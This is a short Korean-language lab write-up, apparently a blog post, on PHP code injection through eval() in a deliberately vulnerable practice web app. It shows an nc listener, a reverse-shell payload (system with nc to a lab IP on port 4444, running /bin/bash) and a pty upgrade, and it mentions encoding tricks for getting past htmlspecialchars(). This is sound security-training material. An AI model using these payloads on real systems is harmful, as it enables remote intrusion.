1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

+ Recent posts